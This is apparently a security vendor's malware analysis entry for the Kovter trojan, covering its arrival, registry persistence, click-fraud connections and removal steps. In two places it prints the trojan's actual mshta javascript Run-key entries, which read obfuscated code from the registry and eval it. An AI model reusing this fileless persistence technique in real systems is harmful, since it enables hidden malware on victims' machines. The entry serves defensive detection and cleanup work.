TROJ_KOVTER.K

January 27, 2016
 Analysis by: Janus Agcaoili
 ALIASES:

Trojan:Win32/Kovter (Microsoft), Trojan/Win32.Kovter (AhnLab-V3)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware, Downloaded from the Internet

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites. It may be downloaded from remote sites by other malware.

It executes then deletes itself afterward.

It does not have any propagation routine.

It does not have any backdoor routine.

It modifies the Internet Explorer Zone Settings.

It connects to certain websites to send and receive information.

  TECHNICAL DETAILS

File Size:

304,859 bytes

File Type:

EXE

Memory Resident:

Yes

Initial Samples Received Date:

24 Jan 2016

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It may be downloaded from remote site(s) by the following malware:

  • JS_NEMUCOD.KXYZ

Installation

This Trojan adds the following processes:

  • regsvr32.exe

It executes then deletes itself afterward.

It injects codes into the following process(es):

  • regsvr32.exe

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer\Run
{Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"

Other System Modifications

This Trojan also creates the following registry entry(ies) as part of its installation routine:

HKEY_LOCAL_MACHINE\SOFTWARE\{Random Hex Value 1}
{Random Hex Value 2} = "{Random Hex Value 2}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Random String}

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 2} = "{3 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 3} = "{16 Hex Numbers}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 4} = "{10 random number}"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 4} = "{10 Random Number}"

HKEY_LOCAL_MACHINE\SOFTWARE\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_CURRENT_USER\Software\{Hex Value 1}
{Hex Value 5} = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2);"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate
DisableOSUpgrade = "1"

HKEY_LOCAL_MACHINE\SOFWARE\POLICIES\
Microsoft\Windows\WindowsUpdate\
OSUpgrade
ReservationsAllowed = "0"

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Web Browser Home Page and Search Page Modification

This Trojan modifies the Internet Explorer Zone Settings.

Other Details

This Trojan connects to the following website to send and receive information:

  • http://{BLOCKED}.{BLOCKED}.69.66/upload.php - inaccessible
  • http://{BLOCKED}.{BLOCKED}.144.46/ - used for click-fraud activity

It does the following:

  • Connects to certain IP address for its click-fraud activity
  • Uses power shell to execute the obfuscated javascript codes in the registry

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

12.294.06

FIRST VSAPI PATTERN DATE:

24 Jan 2016

VSAPI OPR PATTERN File:

12.295.00

VSAPI OPR PATTERN Date:

25 Jan 2016

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 3

Restart in Safe Mode

[ Learn More ]

Step 4

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
    • {Null} = "mshta javascript:xEuBDnt4Y="cbeK7SeMv";H1U=new%20ActiveXObject("WScript.Shell");O3kk5zxq="EJjXJB";BrZd1=H1U.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rUM5dv2zhV="LxR5";eval(BrZd1);Y3DfRzTY="frzyG0q0g";;"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
    • {Null} = "mshta javascript:cZYSi0BI="CC8cBR1W";z02M=new%20ActiveXObject("WScript.Shell");qgiy1yyU6J="rpl0TMB3Aj";OSSs3=z02M.RegRead("HKLM\software\6f77bb644b\5d4b99eb");rQpsj7BaI7="8IxX6teyY";eval(OSSs3);svmX9Zn5="rg31WxpuDz";;"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
    • {Null} = "mshta javascript:BPWvd6xb="Go";Q1z=new%20ActiveXObject("WScript.Shell");xiJ6yyeV="jv7x1kl";k3DnE6=Q1z.RegRead("HKCU\software\6f77bb644b\5d4b99eb");kF78bbaONu="RUrLKyq";eval(k3DnE6);cOJnBIyt1="dNA5ccB";;"

Step 5

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry. Before you could do this, you must restart in Safe Mode. For instructions on how to do this, you may refer to this page If the preceding step requires you to restart in safe mode, you may proceed to edit the system registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE
    • {Random Hex Value 1}
  • In HKEY_LOCAL_MACHINE\SOFTWARE
    • {Random String}
  • In HKEY_LOCAL_MACHINE\SOFTWARE
    • {Hex Value 1}
  • In HKEY_CURRENT_USER\Software
    • {Hex Value 1}

Step 6

Remove the malware/grayware file that dropped/downloaded TROJ_KOVTER.K. (Note: Please skip this step if the threat(s) listed below have already been removed.)

    JS_NEMUCOD.KXYZ

Step 7

Restart in normal mode and scan your computer with your Trend Micro product for files detected as TROJ_KOVTER.K. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 8

Reset Internet security settings

[ Learn More ]

Step 9

Scan your computer with your Trend Micro product to delete files detected as TROJ_KOVTER.K. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.


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